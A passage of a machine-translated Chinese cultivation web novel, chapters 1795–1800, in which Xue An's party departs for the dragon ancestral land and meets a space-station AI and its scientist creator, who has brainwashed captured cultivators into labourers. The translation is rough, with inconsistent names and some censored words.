    Fan Mengxue didn''t, she just took a deep look at Xue An in the distance, then turned around and said to Tianzhana.


    "Master, let''s go!"

 Chapter 1795： Depart for the dragon ancestral land

    "Don''t wait? He might have something to say to you in a while!" Tianzhuna said.


    "Don''t wait! I already glanced at him, that''s enough!" Fan Mengxue said indifferently.


    Tianzhe nodded, "Alright! Then let''s go now!"


    After that, he led Fan Mengxue to fly up and turned into two black lights across the sky, disappearing into the vast void.


    After feeling their departure, Xue An raised his head and looked out the window, his eyes condensed slightly, and then whispered in his mouth: "Old man, Mengxue, I wish you all the best!"


    The second one to leave was Ye Hanshang.


    He patted Xue An on the shoulder, "Old Xue, although I really want to follow you and Huye to the Dragon Race Ancestral Land for a round, but in the alchemy **** there can be no strong guards, so I can only leave first. !"


    Xue An smiled and nodded, "Okay, let''s get out of the way, when we come back from the dragon clan, we may drop by to your alchemy hell!"


    Ye Hanchang laughed, "It''s settled, I can wait for you in the alchemy hell!"


    Jin Jue also stepped forward at this time, folded his palms together, and recited the Buddha''s name.


    "Nan Wuwu Buddha, Xue Shizhu, the little monk is going to leave!"


    "Master, don''t you leave a clone here to spread the Dharma?" Xue An said with a smile.


    Jin Jue shook his head, "No, there are outstanding people here, and I can feel the aura left by the ancient Buddha''s cultivating power, so I don''t want to be anxious with my shallow cultivation skills!"


    "If an invisible bodhisattva is considered to have a shallow cultivation level, then only a perfect and unimpeded Buddha can dare to say that his Dharma is advanced!"


    After a few more greetings, Jin Jue also withdrew.


    Only Meng Yao, who has always lacked a sense of existence, is the master of the exorcism division.


    She looked at Xue An with a pale face, and finally slowly lowered her head and bowed her head, "I wish my lord... a good journey!"


    Xue An sighed softly, "The same is true for you! When I go to the alchemy **** next time, I hope I can taste the wine you brewed yourself!"


    "Hmm!" Meng Yao replied repeatedly, but did not dare to look up, because she was afraid that she would cry.


    Ye Hanchang took Jin Jue and Meng Yao away in the star boat.


    Then Chu Wuxiang and Zhuge Zang also came forward.


    "Are you two going too?"


    The two nodded.


    Zhuge Zang took the lead and said: "I have newly accepted Rulan as a closed disciple, and I have to take her back to recognize the family! And speaking of it, I haven''t been back for a long time, and I don��t know what my unscrupulous children and grandchildren have made their home. That''s it!"


    "I don''t know what Huo Huocheng is, but your descendant named Zhuge Hanzo has good talent!" Xue An smiled.


    "Damn, I''m angry when talking about this. The old ancestor was called Zhuge Zang, but he only dared to call Hanzo. What''s this? This is timid! If you have the ability, you should be called Zhuge Zang Chengji!" Zhuge Zang was a little angry. Said.


    "I said the same at the time, yes, there is this for you!"


    Speaking, Xue An threw something over.


    Zhuge Zang took it and saw that it was a brand-new compass. He saw that the compass was brilliant and powerful, and it was a bit more powerful than the compass he had before.


    "I promised to recast a Luo Tianpan for you, and I got it for you without sleeping last night! It''s okay!" Xue An said with a smile.


    Zhuge Zang couldn''t put it down, "It''s too good! This is much better than my previous one!"


    "Okay, let''s not talk too much nonsense. After I have finished taking care of the family affairs, if I have time, I may go to the dragon clan ancestral land and we may meet again!"


    Xue An nodded, "Okay! There will be a period later!"


    "There will be a period!"


    After all, Zhuge Zang flew up with Wei Rulan and disappeared into the sky.


    In the end, there was only one Chu Wuxiang left. He scratched his scalp and said embarrassingly: "I don''t seem to have much to say, but I took the big cow away. I will let him come back when he finishes his studies!" Chu Wuxiang Said.


    After all, he did not wait for Xue An''s response, grabbed Zhou Daniu''s shoulder, "Go!"


    boom!


    The two rose into the sky like cannonballs, and disappeared in the blink of an eye.


    At this point, only Fox Ye remained in the Five Great Immortal Kings.


    After the banquet was gone, Xue An approached Tang Xuan''er, "Xuan''er!"


    Tang Xuan''er stopped and said with a clever smile, "What''s the matter?"


    "After I''m gone, I''ll leave it to you! An Qing is a bit too frizzy, I don''t worry!"


    "Well, don''t worry! Go early and return early, I''ll wait for your good news!" Tang Xuan''er said with a smile.


    Xue An nodded, and then released a star boat.


    This time the number of people going to the heavens was a bit more than before, mainly Hu Ye and A Rou, and Chan''er.


    That''s right!


    After this time of getting along, miss miss is inseparable from this former little maid.


    So Xue An took An Yan, and Hu Ye took A Rou to board the Xingzhou, while Hu Ye and Zhang Xiaoyu led Miss Nian He Chan''er waiting in the Fubao Xiaolou.


    When everyone was ready, Xue An''s eyes flashed, and Xingzhou soared into the sky in the blink of an eye, disappearing into the vast starry sky.


    At this moment, many people raised their heads and looked at Xue An''s departure direction with serious faces.


    Because they could feel that a suppressive force disappeared.


    Tang Xuan''er stood alone in the night, looked up for a moment, and finally let out a faint sigh.


    "Go again, this time, I don''t know how many years it is!"


    With Xue An��s current strength, it almost reached a speed of tens of millions of miles in a flash, so it only took a moment for the starship to fly out of the solar system. Then it increased its horsepower and suddenly rushed into the void. It flew to the dragon clan ancestral land at a speed close to cheating.


    Although the speed is extremely fast, because the dragon ancestors are too far away from the earth, it is not reachable in a short time But compared to the first time Xue An brought Anyan and the others out , The atmosphere now is too relaxed.


    Xue An and Hu Ye got together to chat, An Yan was excited to whisper to Hu Ying and A Rou.


    Everyone is busy, doing their own things.


    But this leisurely day only lasted less than a day before it came to an end.


    Because just when they were crossing the void, they were suddenly forcibly dropped out for unknown reasons.


    Xingzhou is shaking endlessly.


    Xue An frowned slightly, stepped on one foot, and forcibly stabilized Xingzhou.


    Hu Ye asked, "What''s the matter? Could it be that time and space turbulence happened?"


    "Not like!" Xue An shook his head.


    At this moment, An Yan suddenly pointed out the porthole, and said with a shocked face: "Look, what is that?"

 Chapter 1796： Wandering planet

    In the void, about hundreds of thousands of miles away from the star boat, a huge ring suddenly appeared.


    This ring is so huge, even so far away, it still occupies the entire porthole view, and the whole body is made of metal, exuding a cold mechanical beauty.


    But this is not the key, the key is that in the ring structure surrounding this ring, you can actually see the rolling mountains and ridges, and there are hundreds of thousands of meters of towering giant trees dotted with rare birds and spirits. The beast haunts.


    Surrounded by mountains, that is, at the center of the ring, several huge metal bridges connect the entire ring together and form a vast platform.


    On the platform, there are tall buildings several kilometers high.


    At this moment, the high-rise buildings are brightly lit, and there are countless traffic surging on the streets, making it a prosperous metropolis.


    In this cold and deserted void, I suddenly saw such a bustling city.


    This is just like a mirage, giving people an extremely absurd feeling.


    At least everyone was a little dumbfounded.


    "My God, what is this? Why does it look a bit like a space station on the earth!" Hu Ye said in amazement.


    Xue An was silent for a moment, and finally nodded slightly, "You are right, this should be the space station wandering among the sky, or it can be called a wandering planet!"


    At this moment, the circle seemed to have detected the starship where everyone was riding.


    I saw it slowly turned its direction, and then stretched out a few huge monitoring probes from the ring, staring at everyone like its eyes.


    At this moment, it was as if an ancient giant beast was staring at it, and a strong sense of crisis suddenly enveloped the entire starship.


    at the same time.


    A cold mechanical sound rang in the ears of everyone.


    "The monks of the old era are detected and are being analyzed..."


    "After the analysis is completed, the target number is nine, and two of them have extremely strong energy fluctuations."


    "Hazard rating: extremely dangerous, cannot be stored, it is recommended to remove."


    "The cleaning program is starting..."


    Frosty, as if in the voice of the verdict, the monitoring probes flipped over, revealing the muzzle of the black hole below.


    Immediately afterwards, the brilliance loomed in the muzzle, as if it was charging rapidly.


    But the entire charging speed was extremely fast. In just a moment, these guns that were streamlined as a whole, exuding a cold killing intent, fired countless bright brilliance.


    Without waiting for everyone to react, Xue An snorted coldly, and Guanghua flickered in his eyes. Divine Sense immediately wrapped up the starship and began to dodge the attacking Guanghua frantically.


    These brilliances were originally covered by blockades with no dead ends in all directions, but under Xue An��s meticulous divine mind manipulation, Xingzhou passed through seemingly impossible gaps within a period of time. The ring rushed away.


    The whole process was extremely thrilling, but Xue An was confident, and didn''t even blink his eyelids.


    Instead, Hu Ye exclaimed again and again.


    "My trough, hit and hit! To death, to death!"


    "Oh my God, it''s hard to get by!"


    Xue An frowned slightly, "Shut up, and then call me to throw you out."


    Hu Ye immediately closed his mouth, but looked pale and looked at the almost continuous white light outside the porthole.


    Just as it rushed to the halfway point, numerous dense holes suddenly appeared on the ring, and then a number of guns of various shapes protruded from the holes.


    Then there was another roar of rapid charging.


    After that, countless brilliance shot out from the muzzle. The number of them had already been gathered into one, and there was no gap between them.


    Under such circumstances, Ling Huye trembled all over, "Mine, Old Xue, hurry up and hide!"


    But Xue An just snorted at this, and then stomped his foot, Xingzhou suddenly accelerated, and disappeared in place in an instant.


    When it reappeared, it had passed through the overwhelming brilliance and appeared above the circle.


    "This is too **** exciting! Old Xue, can you tell me in advance next time you travel through the void?" Hu Ye shouted.


    "No!" Xue An replied decisively.


    At the same time, the cold mechanical sound rang again, accompanied by a rapid alarm.


    "Warning, there are powerful monks from the old age approaching, extremely dangerous, extremely dangerous!"


    "Start the first level alarm mode!"


    "The World Extinguisher started to activate..."


    With the voice, the metal bridge connecting the ring to the center appeared bright, and then the city in the center of the ring suddenly separated on both sides, and a huge cannon with a caliber of dozens of miles emerged.


    Countless lights converged in this cannon, and a terrifying power of extinction began to emerge.


    Xue An''s eyes were full of brilliance, and he stepped out of the star boat to before the cannon.


    At this moment, with the loud sound of charging, the energy in this cannon is skyrocketing.


    But Xue An was not moved at all, raising his hand was a punch.


    After proving the Immortal King, Xue An''s fist power was enough to shake the stars.


    Therefore, even the void was distorted after the punch.


    But as soon as his fist was halfway through, the cannon slammed, and from the muzzle it shot a huge and blinding brilliance.


    The recoil was so huge that it was almost incomprehensible that the ring retreated several miles, which also shows how terrifying the power of this gun is.


    The Guanghua overwhelmed Chao Xue An.


    In the star boat, An Yan exclaimed, "Husband!"


    On the contrary, Hu Ye calmed down and took over Xingzhou directly with his divine consciousness, avoiding the bombardment range of this brilliance, and then said in a deep voice: "Don''t worry, since Lao Xue doesn''t hide, it means he has a spectrum!"


    really.


    Xue An raised his eyebrows slightly when the brilliance of Guanghua rushed to Xue An.


    "The fight is endless, right! Then I will fulfill you!"


    As he said, Xue An stepped forward, the red lotus flickering between his eyebrows, and the vast sea of ??divine thought surged out, slamming against this brilliance.


    boom!


    After a loud noise, the already aggressive brilliance suddenly stopped, then cracks appeared, and finally broke apart at the same time.


    There was a flash of light in Xue An''s eyes, and Mo Wangan appeared out of thin air, and then raised his hand with a sword.


    Click!


    Jian Guang cut across the void and slammed into the cannon.


    Rumble!


    With successive explosions, the cannon was chopped in half in the middle, and then broke.


    "Warning, the Destroyer Artillery has been irreversibly damaged, the target person is extremely dangerous, and the self-destruction procedure is about to start."


    The icy alarm sounded through the void, and the ring was constantly changing form.


    Upon seeing this, Xue An raised his eyebrows and prepared to completely cut off the circle.


    But at this moment, a voice full of excitement suddenly sounded.


    "Xiaohuan, terminate the self-destruction program, stop all hostile behaviors, and lift the alarm!"

 Chapter 1797： Science and Technology Change All Development Society

    As soon as this voice came out, the mechanical female voice was silent for a moment, and then all the guns on the ring were retracted, returning to their original form.


    "Received, the alert has been lifted."


    Seeing this scene, Xue An stopped the sword, did not immediately start, but looked at it coldly.


    The Fox Ye and others in the star boat naturally did the same, all of them stared with piercing eyes.


    At the same time, the void in front of him flickered slightly, and then a three-dimensional projection of a man appeared.


    This is a man wearing a white lab coat. He does not seem to be very old. Under his messy hair is a handsome face, and his left eye is a kind of artificial eye similar to a mechanical one.


    But this didn''t seem strange, on the contrary, it gave him a crazy charm.


    At this moment, the man looked at Xue An with excitement, "Self-evolution can reach the height of yours. It seems that the cultivation of the old age is not entirely undesirable!"


    The words are full of almost paranoid madness.


    Xue An frowned slightly, "Who are you? Why do you want to stop me from waiting, and kill me?"


    The man was taken aback, and then smiled and said, "First introduce myself. My name is Zhang Tianyou, and I am the president of the Science and Technology Change Everything Development Society!"


    "Technology changes everything for development society?" Xue An repeated this slurred name with frown.


    The man nodded, "Yes, you can also call it the Science Reform Agency for short! As for why you asked me why I blocked your path and hurt the killer... Can I say I don''t know?"


    "You nonsense, can you just kill anyone if you don''t know it? Fortunately, our strength is good. Wouldn''t it be a long time since we had to be replaced by others?" Hu Ye also appeared in the void at this time, saying indignantly.


    When Zhang Tianyou saw Fox Ye, his eyes gradually widened and the expression on his face became more excited.


    "Is it actually evolved from a foreign race? This should be the monster race called in the old times! Tsk tsk, it is actually an extremely rare foreign species, I really want to study the mystery in its genes now!" Zhang Tianyou Said salivatingly.


    Fox Ye was shuddered by Zhang Tianyou''s stare, because his eyes were so terrible, it was as if he was about to swallow himself.


    But Huye immediately reacted, and was shocked to realize that he had just been frightened by an unknown kid. This couldn''t help making him angry, so he shouted coldly.


    "Boy, what the **** are you talking about? What is the evolution of a foreign race? Young master, I am a dignified Celestial Fox family, from the noble heritage of the ancients, dare to talk nonsense, be careful I kill you!"


    Zhang Tianyou narrowed his gaze and smiled, "Don''t be angry, I''m not malicious!"


    "No malice? You almost killed us just now. Haven''t any malice yet?" Hu Ye shouted.


    Zhang Tianyou shrugged, "I still said that. I really don''t know what happened just now. I''m busy doing experiments in the laboratory. Where do I know what is happening outside? Everything is the artificial intelligence of this star ring itself. The choice made!"


    "The choice you made? Just this big guy?" Hu Ye gave an expression on who you fooled.


    "Yes! I usually call it Huanhuan." Zhang Tianyou said.


    "Do you think we will believe you these nonsense?" Hu Ye sneered.


    Zhang Tianyou shrugged, "Whether you believe it or not, this is a fact! And this is not a complaint that Huanhuan is too sensitive, because just a few days ago, we passed through a star field, and the monks there were actually Want to **** the ring, in desperation, it learned to resist!"


    "But what happened this time is really that it did a little too much, but you can rest assured that it is definitely not an innocent existence, on the contrary, sometimes it is very shy! Right!" Zhang Tianyou smiled Shouted.


    After a while, there was a cold mechanical female voice in the void, "Doctor, you are talking nonsense again!"


    "Hey, did you hear that? That''s why it was a misunderstanding before. It was because your strength was too strong that Huanhuan would try to clear it. If it is an ordinary monk, it will be accepted directly by it." Zhang Tianyou chuckled. Tao.


    Fox night was a little confused.


    Because what happened today is really beyond his understanding.


    How shy of such a huge star ring?


    And who is this guy who is a little crazy, who claims to be the president of a development agency that changes everything with technology?


    Xue An looked at the man thoughtfully, and suddenly said, "Since you said there is no malicious intent, dare you invite us in and take a look?"


    "Of course, I actually want to invite you in as a guest!" Zhang Tianyou said with a smile.


    While talking, a huge aircraft lifted up from the city in the middle of the star ring and came to the crowd.


    "Come on, please, it will bring you directly to where I am!" Zhang Tianyou said.


    Then this three-dimensional projection disappeared.


    Hu Ye looked at the flying vehicle floating in front of him with a look of surprise, and then said, "Old Xue, should we really go?"


    "Go, of course, why not go?" Xue An said lightly.


    "The problem is that we don''t know this guy. What if this guy is a wicked person?" Hu Ye hesitated.


    Xue An turned his head and glanced at him, "In front of the two immortal kings, even if he is really a murderous person, he has to become a good baby! Besides, what he just said should be the truth!"


    "How do you know?" Hu Ye asked rhetorically.


    Xue An pointed to the star ring, "Don''t you see these scars on the star ring? This is obviously from the hands of the monks of various factions, and the time has not been long, so it can be seen that he did not lie just now."


    "That''s not very safe, what if these traces are left by the starring attacking others, and as a result they resisted?" Hu Ye muttered.


    Xue An laughed and laughed, "Even as you said, I don''t believe what tricks he can play in front of me, and...are you scared?"


    When Fox Ye heard about it, he immediately pressed his chest, "Joke, Lord Fox, I grow up so big, I don''t know what it''s like to be afraid! Let''s go and meet him!"


    With that said, Hu Ye took the lead in boarding the aircraft.


    Xue An chuckled, and simply let An Yan and Arou Huying and others get off the star boat, and then board the aircraft together. As for the two little girls, they followed Zhang Xiaoyu and Chan''er back to the Fubao Xiaolou.


    Then the aircraft flew into the city.


    Along the road, high-rise buildings are lined up, giving people an ultimate technological beauty.


    Because everything is so perfect.


    Even a street lamp on the corner is so harmonious and unified.


    But such a city gives people a very strange feeling.


    Because people living in this city, despite their joys and sorrows, lack the anger that a person should have in their eyes.


    Everyone is as if they were carved out of a mold, the same, and lifeless.

 Chapter 1798： A city like a tomb

    An Yan looked at the city in surprise, "These people... how come they are weird?"


    Xue An said lightly: "Because they are all clones!"


    "Clone?"


    "Yes, it''s human clones, so they have no self-awareness at all, and can only follow the pre-determined procedures to live life step by step! In fact, not only them, but even the city is designed in advance, everything is like a gorgeous scene. The same as the stage play, exquisite and illusory."


    An Yan was shocked.


    She did not expect that those busy people outside the aircraft with joy, anger and sadness on their faces turned out to be puppets with no self-consciousness.


    Even this city that looks blooming and feasting is just a gorgeous and icy tomb.


    "But why..." An Yan whispered softly while looking at everything outside the aircraft with a shocked expression on her face.


    "Does it make any sense to build such a dead city with great effort? Or is it simply a fantasy from a madman?"


    As soon as the voice fell, Zhang Tianyou''s voice suddenly came from the aircraft.


    "I am not a lunatic, all you see is just because of one of my obsessions!"


    Fox Ye was taken aback, "You have been eavesdropping on us?"


    "It''s not eavesdropping, but anything that happens in this star ring can''t escape my eyes. That is to say, as long as I am within the range of the star ring, I am all-knowing and omnipotent. There is no need to look with that kind of look. For me, I have no malice against you, otherwise I would not invite you to come as a guest."


    Hu Ye curled his lips, "I don''t care if you are malicious, anyway, if you dare to make any messy ideas, I will just break your neck!"


    Zhang Tianyou chuckled, and did not pay attention to Huye''s fierceness, but said indifferently: "My laboratory is in front of me. Welcome everyone."


    Following the voice, the aircraft stopped at the top of a tall building in the center of the city, and then a light blue light door suddenly appeared in front of everyone.


    Immediately afterwards, a figure appeared behind the light gate.


    When this figure walked out of the light gate, everyone was stunned.


    Because the person who appeared in front of everyone was actually a man in a wheelchair.


    This man was Zhang Tianyou, and saw that he looked the same as in the three-dimensional projection, except that he had no lower body and was connected to the wheelchair by various tubes extending from the abdominal cavity.


    Just when everyone was startled, Zhang Tianyou smiled slightly, "Please come in!"


    After all, the wheelchair turned around very naturally and moved forward.


    Xue An didn''t speak either, and followed directly.


    Fox Ye looked hesitant, couldn''t help but walk a few steps, and asked Xue An in a low voice.


    "Old Xue, why did I look at this light curtain a little bit wrong? This shows that it is a portal, what if it is teleported to another place after entering it?"


    Before Xue An could speak, Zhang Tianyou turned his head and smiled at Fox Ye.


    "Don��t be afraid, this light curtain is indeed a portal, but that��s because my laboratory has to conduct some powerful experiments, so for safety reasons, I built it at the core of the star ring. There is no direct channel to connect with the outside world, so access can only be done through transmission!"


    Hu Ye was a little embarrassed, but still insisted: "Who is scared? I just feel a little awkward!"


    While talking, everyone has already passed through this portal.


    There was no vibration, and there was no blackness in front of the eyes that often appeared during transmission. People naturally seemed to have passed through a layer of soap bubbles, and then another scene appeared in front of everyone.


    This is a vast space, with very natural soft light spilling on the top of the head, and the air is fresh and clean, which makes people immediately relax.


    And this space is divided into many areas in an orderly manner.


    There are all kinds of weird machines in various areas, many of which are working.


    I saw the robotic arm flying up and down, and from time to time dazzling lasers flashed by.


    On the ceiling, the pulley robot grabbed the parts and drove by quickly, and handed them to the humanoid robots in various areas for assembly.


    In short, here is like a huge factory, producing all kinds of spare parts in an extremely advanced fully automatic mode.


    When Zhang Tianyou led the crowd to appear in this space, An Yan couldn''t help being stunned.


    This was the first time she saw such a scene full of technological sense.


    Although the technology on the earth is also developing well, it is far from reaching this level.


    Not to mention anything else, just those robots that are engaged in various complex tasks cannot be made by the present earth.


    Zhang Tianyou didn''t even show any expression, and the wheelchair slid forward silently, leading everyone inside.


    Soon, they came to a huge metal door again.


    When everyone came to the front and back, hundreds of firearms suddenly appeared around the metal door, and the muzzles of the black holes were all aimed at Xue An and others.


    Hu Ye was startled, almost about to do it.


    Zhang Tianyou said lightly: "Okay, Huanhuan, they are all my guests, don''t mess around!"


    Hearing these words, the guns took a while before they retracted, and then the metal door suddenly opened.


    "Please come with me, this is my laboratory!"


    Zhang Tianyou walked inside, and everyone followed.


    And everything in it is ten times more sci-fi than the outside world.


    The simple humanoid machines out there are no more, replaced by handsome, realistic robots.


    And what they manipulate is also some machines that can''t even be called, but you can see that they are extremely high-tech.


    When Zhang Tianyou appeared here a graceful and hot woman in leather clothes walked over.


    She first glanced at Xue An and the others with caution, and then walked forward to support Zhang Tianyou''s wheelchair.


    Zhang Tianyou smiled, "Hey, these are all distinguished guests, don''t be so serious, just laugh!"


    "Doctor, you know it''s impossible!" The woman said very coldly, her voice being the same mechanical female voice before.


    Zhang Tianyou smiled at Xue An and the others apologetically, "I''m really sorry, Huanhuan has been used to being a little arrogant by me. Just get used to it. In fact, she is very kind and easy to get along with."


    At this moment, I saw Hu Ye pointing at the woman with a dazed expression, "Isn''t it, such a big star ring is actually a girl?"


    The voice just fell, but suddenly countless guns appeared on the ceiling, floor, and all directions. The muzzles were all aimed at Fox Night, and there was a little brilliance, which was obviously charging.


    Fox Ye was so frightened that she froze in place.


    The woman said coldly: "Who do you think is a bitch?"

 Chapter 1799： The secret of star ring

    "You... aren''t you?"


    The woman raised her hand and pulled the neckline, and her leather jacket broke apart, revealing the mechanical structure below.


    "What do you mean?"


    "Uh..." Hu Ye gaped.


    At this moment, Zhang Tianyou said helplessly: "Huanhuan, how many times I have told you about you, don''t tear your clothes at every turn. You said this is the first leather jacket you torn this month?"


    The woman was silent.


    "Okay, okay, I know you don''t like this look! Forget it, let''s change the image this time!"


    With that, the armrest of the wheelchair suddenly turned into a mechanical arm, and then he grabbed a princess dress.


    Zhang Tianyou laughed and said, "Let''s try this this time! Hey, the princess with a black belly, I am excited just thinking about it!"


    That look, it''s just so wretched and wretched.


    The woman was silent for a moment, and then said: "Can I still choose the previous image?"


    "No!"


    "..."


    In the end, the woman reluctantly took over the princess dress.


    She didn''t need to wear it, and squeezed directly on her body, and the mechanical body wriggled like flowing water.


    In the blink of an eye, she changed her image into a girl in a princess dress, a princess hairpin, and big innocent and pure eyes blinking.


    Such a magical scene made Fox Ye look silly, but he soon became crazy envious.


    "It''s actually more convenient to change your form at will!" Hu Ye muttered softly.


    But the next second he went silent, because the woman glanced at him coldly.


    "Everyone, please come to the reception room with me! I know you have a lot to ask, let''s go there and talk in detail."


    The reception room is not big, but the decoration is very elegant, and there is even a tea set on the table.


    After everyone was seated, Zhang Tianyou took the lead and said: "If you divide it according to the standards of your old era, you and this alien race should be the first level of the fairy king, right?


    Xue An nodded, "Yes!"


    "Sure enough! No wonder it has evolved so powerfully, it is an amazing achievement." Zhang Tianyou sighed.


    Xue An was unmoved, and asked directly: "I really want to know, what does the old era mean in your mouth? Is there a new era relative to it?"


    "Of course, the old era is actually just my abbreviation. Its full name is the feudal era that evolves itself in a backward and decadent way, that is, the present heavens, as for the new era..."


    There was a brilliance in Zhang Tianyou''s eyes, "As you saw on the road when you came here, perfect and beautiful technology can solve all problems. When it is completely popularized, everyone will have an autonomous evolutionary system. Right, people will become rich and have dignity. That is called a new era."


    Hearing these words, Hu Ye and others fell into the fog of Wuli.


    Xue An was stunned, and then he showed a meaningful smile, "So at the cost of sacrificing your own race, do you want to wander among the heavens?"


    As soon as this sentence came out, Zhang Tianyou''s face suddenly changed, "How do you know this? Who are you?"


    The atmosphere suddenly became tense.


    The eyes of the woman standing behind Zhang Tianyou changed, and dense holes appeared in the walls and even the ceiling around the living room.


    "Don''t be so nervous, I guessed all of this, after all, that city has explained everything!" Xue An said flatly without blinking his eyelids.


    Zhang Tianyou reacted quickly, sighed lightly, and waved his hand.


    "Huanhuan, you go out first!"


    The woman hesitated slightly, and finally retreated.


    After the door of the meeting room closed again, Zhang Tianyou smiled bitterly, "You guessed it, that city is indeed the place where the ethnic group once lived!"


    An Yan was shocked, "Then you mean that those clones are..."


    "Yes, they are all my old compatriots." At this point, Zhang Tianyou''s face looked painful.


    "That was when I just built the star ring and started wandering through the heavens. I thought everything would go as smoothly as I imagined, but I never expected that a sudden turbulence in time and space almost collapsed the entire star ring. Even my legs were taken away by the turbulence."


    "And my people... are all spared!"


    There was silence in the parlor.


    After a while, Xue An sighed softly, "So you created a clone to let your people continue to live in this way?"


    Zhang Tianyou smiled bitterly, "Otherwise, what can I do? In fact, with the technology I have mastered, I can easily restore my body to the original state, but I have not done that because I have to let myself remember the painful lesson. !"


    When he said this, Zhang Tianyou''s eyes were full of infinite sadness.


    "Then you continue to wander again?" Xue An said lightly.


    "Yes, because I can''t let my people sacrifice in vain. I want to spread scientific ideas throughout the universe. I want to end the old era and bring new life to everyone!" Zhang Tianyou said firmly.


    "So you created the so-called Science Reform Society?" Xue An asked.


    "Correct!"


    Zhang Tianyou sat upright and looked at Xue An with piercing eyes, "Join me! Let''s change the universe together!"


    "That''s why you invited us to be a guest?" Xue An smiled and answered the question.


    Zhang Tianyou nodded, "Part of it!"


    "Then how many members does this science reform society now have?"


    "For the time being... just me!" Zhang Tianyou was a little embarrassed, and then immediately added: "But I believe that one day it will flourish and completely change the heavens! Because it is my life''s work!"


    "It''s strange, don''t you keep saying that the old ages are all rotten? Why do you want to pull us into the group?" Xue An said with a smile. UU reading www. uukanshu.com


    "Because you are strong enough, and I believe you are a smart person, you should be able to see the situation clearly."


    After all, Zhang Tianyou looked at Xue An expectantly.


    Xue An chuckled and shook his head, "To be honest, I admire you very much, because you have your own ideals and ambitions and have been working hard to realize them, but I do not agree with you, so..."


    Zhang Tianyou seemed to have expected Xue An to refuse, so before he finished speaking, he said: "Don''t be anxious to refuse, I want to take you to see something. After reading it, you can decide whether to agree!"


    With that said, Zhang Tianyou took out a remote control from his arms, first verified his fingerprint, and then pressed it down.


    Bang.


    A beam of brilliance shot out from the remote control, blasting against the wall of the meeting room.


    In the blink of an eye, the walls of the living room began to deform, and then ripples like water appeared.


    "Come with me! I will take you to see the biggest secret of Star Ring!"

 Chapter 1800： brainwashing

    This is a vast space with a difference.


    The reason why it is different is that the style of this space is completely different from the sci-fi style seen before.


    The first thing that caught everyone''s eyes was a melting pot of thousands of meters high.


    At this moment, the fire was blazing above the furnace, and many shirtless people were rushing up and down busy.


    At this moment, someone shouted.


    "Sand mold!"


    These shirtless brawny immediately began to prepare methodically.


    A huge sand mold was pushed over, and then dozens of strong men held a huge iron pillar and withstood the furnace.


    "Open the gate!"


    With another loud shout, these strong men worked hard, the furnace on the top of the iron pillar slowly tilted, and the molten iron inside dripped out from the opening on the edge of the furnace, just falling into the sand mold.


    Even though they were far apart, everyone could still feel the heat wave coming.


    An Yan secretly marveled at such a scene full of power and beauty.


    Hu Ye couldn''t help but tremble all over, and then exclaimed, "These people... are actually monks?"


    Zhang Tianyou nodded, "Yes, they are the monks accepted by Huanhuan!"


    Fox night was a little silly.


    These brawny men in front of me have different strengths. Some are as strong as Da Luo, and there are also rookies like Jinxian, but regardless of their strength, they all have a look of fanaticism, as if the work they are doing is the most important thing in the world. Even the arrival of everyone did not make them distracted at all.


    "How could this happen? Are these monks crazy?" Hu Ye whispered softly.


    You must know that all people who can accomplish something in cultivation are proud of heaven, and there is a sense of arrogance in their hearts.


    If it weren''t for special circumstances, he would never be so naked, working like a cool guy.


    That''s why Huye was surprised.


    "They didn''t go crazy, they were just obsessed with their own illusions and couldn''t help themselves!" Xue An said suddenly.


    Zhang Tianyou on the side could not help but exclaimed: "Sure enough, I have good eyesight. Yes, I did move a little bit on them when accepting them, but you can rest assured that I have no malice. On the contrary, I am Transform them!"


    "Remodeling?" Fox Ye was taken aback.


    "Yes, it should be called labor reform to be exact, because only labor can make people understand the meaning and value of existence!" Zhang Tianyou said with a smile.


    "You brought us here to show us this?" Hu Ye couldn''t help asking.


    "Don''t worry, this is just the beginning."


    With the voice, the land under their feet suddenly began to rise, and soon came to the sky above.


    Only then did people see that this space was originally a huge hole in the star ring.


    Looking at it, the entire space is almost like a large construction site, with extremely tall machinery everywhere, and many monks are busy in it.


    And these monks also perform their duties.


    Those with strong bodies are responsible for heavy work. For example, the melting pot they just saw is controlled by a group of practitioners.


    The sword repairers were waving their sword qi to cut the rough metal, and the efficiency was very good when the brilliance was everywhere.


    Fu Xiu is responsible for engraving runes on these cut metals.


    In a word, these monks, who are usually aloof, are busy at this moment like an ordinary worker.


    Such a spectacular and absurd scene made everyone stunned.


    Zhang Tianyou said proudly: "Did you see it? This is the biggest result I have achieved by wandering all the way, and the top secret of the entire star ring I said is also here!"


    "That''s it?" Hu Ye curled his lips disapprovingly, "It''s nothing more than arresting a few cultivators and forcing them to work. What kind of skill or secret is this?"


    "Haha! Well said, if nothing more, it is really not a secret, but..."


    Zhang Tianyou casually moved, and the nearest monk flew over.


    This is a fierce and brawny man with a naked torso and a devil tattoo on his head and even his neck.


    But when he came to Zhang Tianyou, he was docile like a small cat.


    "My President!"


    "Hmm! How are you doing? Can you complete this month''s plan?" Zhang Tianyou said lightly.


    "President rest assured, everything is going well, this month''s plan will definitely be overfulfilled!" The brawny man said proudly with a chest out.


    This statement made Hu Ye a little stunned, and then couldn''t help but said: "Ahem, this body training, you..."


    But before he could finish speaking, the brawny man changed his expression suddenly, "Who do you say is physical cultivation?"


    "You? Isn''t it?"


    "Please don''t use this old age term to call me, that is the biggest insult to me!" said the strong man with a serious face.


    "Then... Then what do I call you?"


    "Call me Comrade! Because I am now a reserve member of the Science Change All Development Society. After I become a regular member, I should be called a member. Please call me Comrade now!"


    "Comrade...comrade?" Hu Ye was almost dumbfounded.


    Because he really couldn''t see whether the physical training in front of him was really hypnotized and brainwashed, or he was acting stupid.


    If it is really brainwashed, it would be terrifying.


    At this moment, Zhang Tianyou waved his hand, "Okay, go ahead and work!"


    "Yes, my honorable president!" The brawny man respectfully bowed to Zhang Tianyou, then turned and left.


    "How is it?" Zhang Tianyou looked at Xue An with a smug look, "I have a lot of people like him. They are all people who can die for me at any time. If I want, they can even form As an invincible iron army, by then, who among the heavens can stop me?"


    Speaking of this, Zhang Tianyou was full of excitement and excitement.


    "All the old forces will be ruined and destroyed, and everyone will be greeted with a new life. So how are you thinking about it?"


    "If you join me now, I can even make you the vice president!"


    After all Zhang Tianyou looked at Xue An eagerly.


    In his opinion, the conditions he had offered were generous enough, and the young man in front of him had no reason not to agree.


    Unexpectedly, Xue An retracted his gaze from a distance when he heard the words, and then shook his head gently.


    "It sounds good, but I still don''t want to!"


    "Why?" Zhang Tianyou didn''t expect Xue An to refuse so simply and neatly, so he was caught off guard.


    "Because... Although your idea is worthy of admiration, I don''t agree with it!"


    As he said, Xue An took a deep breath and slowly said, "Do you think you can change everything in the heavens if you can control these monks? You are still too naive!"


